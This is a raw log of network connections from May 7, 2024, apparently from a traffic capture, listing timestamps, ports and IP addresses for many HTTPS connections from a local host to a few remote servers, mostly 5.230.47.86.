May 7, 2024 20:31:50.522182941 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.609590054 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.609611988 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.609673977 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.609688997 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.609709978 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.609733105 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.609754086 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.609855890 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.615907907 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.615921974 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.747514963 CEST	49798	443	192.168.2.4	13.107.246.40
May 7, 2024 20:31:50.747556925 CEST	443	49798	13.107.246.40	192.168.2.4
May 7, 2024 20:31:50.748078108 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.748127937 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.748188019 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.748814106 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.748831034 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.915154934 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:50.915194035 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:50.915263891 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:50.915610075 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:50.915627956 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.096532106 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.096884966 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.096904993 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.097275019 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.097747087 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.097811937 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.097954988 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.097984076 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.199018002 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.199273109 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:51.199300051 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.200427055 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.200484991 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:51.200493097 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.200548887 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:51.201669931 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:51.201730013 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.201908112 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:51.201913118 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.257594109 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:51.337884903 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.337924957 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.338013887 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:51.338027000 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.338203907 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.338251114 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:51.378089905 CEST	49804	443	192.168.2.4	52.96.62.226
May 7, 2024 20:31:51.378107071 CEST	443	49804	52.96.62.226	192.168.2.4
May 7, 2024 20:31:51.719839096 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.719873905 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.719897985 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.719949961 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.719988108 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.720004082 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.720036030 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.889298916 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.889359951 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.889386892 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.889404058 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.889434099 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.889445066 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.889457941 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.889489889 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.890070915 CEST	49803	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.890088081 CEST	443	49803	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.934621096 CEST	49806	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.934674978 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.934741974 CEST	49806	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.935107946 CEST	49807	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.935156107 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.935213089 CEST	49807	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.935468912 CEST	49808	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.935476065 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.935583115 CEST	49808	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.935888052 CEST	49809	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.935899973 CEST	443	49809	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.936122894 CEST	49809	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.936340094 CEST	49806	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.936356068 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.936693907 CEST	49807	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.936708927 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.936902046 CEST	49808	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.936913967 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:51.937174082 CEST	49809	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:51.937186956 CEST	443	49809	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.115808964 CEST	49810	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.115849972 CEST	443	49810	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.116059065 CEST	49810	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.116302013 CEST	49810	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.116317034 CEST	443	49810	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.117995977 CEST	49811	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.118026972 CEST	443	49811	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.118158102 CEST	49811	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.121108055 CEST	49811	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.121123075 CEST	443	49811	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.275806904 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.275991917 CEST	49806	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.276004076 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.276505947 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.277195930 CEST	49806	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.277268887 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.277467966 CEST	49806	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.277501106 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.286293030 CEST	443	49809	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.288289070 CEST	49809	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.288306952 CEST	443	49809	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.289352894 CEST	443	49809	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.289463997 CEST	49809	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.290005922 CEST	49809	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.290072918 CEST	443	49809	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.290395975 CEST	49809	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.290405035 CEST	443	49809	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.302026033 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.302422047 CEST	49807	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.302453041 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.302845001 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.303144932 CEST	49807	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.303215027 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.303352118 CEST	49807	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.303378105 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.322444916 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.322794914 CEST	49808	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.322824001 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.323895931 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.323962927 CEST	49808	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.324379921 CEST	49808	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.324448109 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.324656963 CEST	49808	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.324671030 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.330297947 CEST	49809	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.365741968 CEST	49808	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.464695930 CEST	443	49810	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.465198994 CEST	49810	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.465234995 CEST	443	49810	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.466283083 CEST	443	49810	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.466365099 CEST	49810	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.466763020 CEST	49810	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.466826916 CEST	443	49810	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.467012882 CEST	49810	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.467024088 CEST	443	49810	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.474977970 CEST	443	49811	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.475438118 CEST	49811	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.475455046 CEST	443	49811	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.476650000 CEST	443	49811	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.476705074 CEST	49811	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.477108002 CEST	49811	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.477173090 CEST	443	49811	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.477365017 CEST	49811	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.477375031 CEST	443	49811	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.509426117 CEST	49810	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.525171041 CEST	49811	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.658795118 CEST	443	49809	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.682810068 CEST	443	49809	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.682871103 CEST	49809	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.751176119 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.751198053 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.751532078 CEST	49808	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.751554012 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.759910107 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.760350943 CEST	49808	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.843604088 CEST	443	49810	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.854037046 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.854060888 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.854075909 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.854118109 CEST	49806	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.854144096 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.854178905 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.854186058 CEST	49806	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.854213953 CEST	49806	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.854238987 CEST	49806	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.860321045 CEST	443	49811	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.862998962 CEST	49809	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.863025904 CEST	443	49809	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.863621950 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.863651037 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.863718987 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.865322113 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.865336895 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.866517067 CEST	49808	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.866543055 CEST	443	49808	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.869766951 CEST	443	49810	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.869827986 CEST	49810	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.872450113 CEST	49806	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.872459888 CEST	443	49806	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.872919083 CEST	49810	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.872937918 CEST	443	49810	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.877595901 CEST	443	49811	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.877657890 CEST	443	49811	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.877657890 CEST	49811	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.877728939 CEST	49811	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.886981010 CEST	49811	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.887001991 CEST	443	49811	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.940938950 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.940973997 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.940989971 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.941041946 CEST	49807	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.941057920 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.941083908 CEST	49807	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.941098928 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:52.941111088 CEST	49807	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.941142082 CEST	49807	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.944246054 CEST	49807	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:52.944257975 CEST	443	49807	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.079498053 CEST	49815	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.079524994 CEST	443	49815	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.079596043 CEST	49815	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.079937935 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.079982996 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.080054045 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.080169916 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.080213070 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.080497026 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.081267118 CEST	49815	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.081279993 CEST	443	49815	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.081674099 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.081693888 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.082034111 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.082048893 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.134690046 CEST	49818	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.134721041 CEST	443	49818	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.134804010 CEST	49818	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.135005951 CEST	49818	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.135016918 CEST	443	49818	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.136348009 CEST	49819	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.136392117 CEST	443	49819	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.136459112 CEST	49819	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.136648893 CEST	49819	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.136663914 CEST	443	49819	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.189760923 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.189785957 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.189907074 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.190258980 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.190269947 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.212815046 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.213115931 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.213124990 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.213493109 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.214040041 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.214112997 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.214245081 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.214271069 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.421556950 CEST	443	49815	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.421787977 CEST	49815	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.421808004 CEST	443	49815	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.422874928 CEST	443	49815	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.422939062 CEST	49815	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.423367023 CEST	49815	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.423432112 CEST	443	49815	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.423566103 CEST	49815	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.423593998 CEST	443	49815	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.426484108 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.427062035 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.427074909 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.428196907 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.428287983 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.428599119 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.428662062 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.428783894 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.428791046 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.447338104 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.447561026 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.447587013 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.448643923 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.448700905 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.449001074 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.449064970 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.449140072 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.449166059 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.466523886 CEST	49815	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.466536045 CEST	443	49815	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.475822926 CEST	443	49819	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.476110935 CEST	49819	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.476119041 CEST	443	49819	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.477149010 CEST	443	49819	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.477205038 CEST	49819	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.477541924 CEST	49819	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.477602005 CEST	443	49819	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.477675915 CEST	49819	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.477701902 CEST	443	49819	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.481933117 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.483119011 CEST	443	49818	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.483314991 CEST	49818	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.483326912 CEST	443	49818	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.484303951 CEST	443	49818	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.484361887 CEST	49818	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.484731913 CEST	49818	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.484797001 CEST	443	49818	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.484904051 CEST	49818	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.484913111 CEST	443	49818	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.498089075 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.498105049 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.521050930 CEST	49815	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.521061897 CEST	49819	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.521071911 CEST	443	49819	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.536282063 CEST	49818	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.551776886 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.552051067 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.552061081 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.552997112 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.553076029 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.553138971 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.553843975 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.553900957 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.554110050 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.554116964 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.568447113 CEST	49819	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.598529100 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.800844908 CEST	443	49815	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.822967052 CEST	443	49815	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.823031902 CEST	49815	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.823558092 CEST	49815	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.823574066 CEST	443	49815	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.827980995 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.828025103 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.828035116 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.828128099 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.828155041 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.828166008 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.829396009 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.829493046 CEST	443	49817	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.829571009 CEST	49817	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.919325113 CEST	443	49818	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.937244892 CEST	443	49818	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.937305927 CEST	443	49818	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.937305927 CEST	49818	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.937355042 CEST	49818	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.937805891 CEST	49818	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.937825918 CEST	443	49818	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.957515955 CEST	443	49819	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.977530003 CEST	443	49819	5.230.47.86	192.168.2.4
May 7, 2024 20:31:53.978671074 CEST	49819	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.979559898 CEST	49819	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:53.979587078 CEST	443	49819	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.107362986 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.107383966 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.107391119 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.107415915 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.107434988 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.107443094 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.107450008 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.107476950 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.107492924 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.107505083 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.107515097 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.107532024 CEST	49816	443	192.168.2.4	5.230.47.86
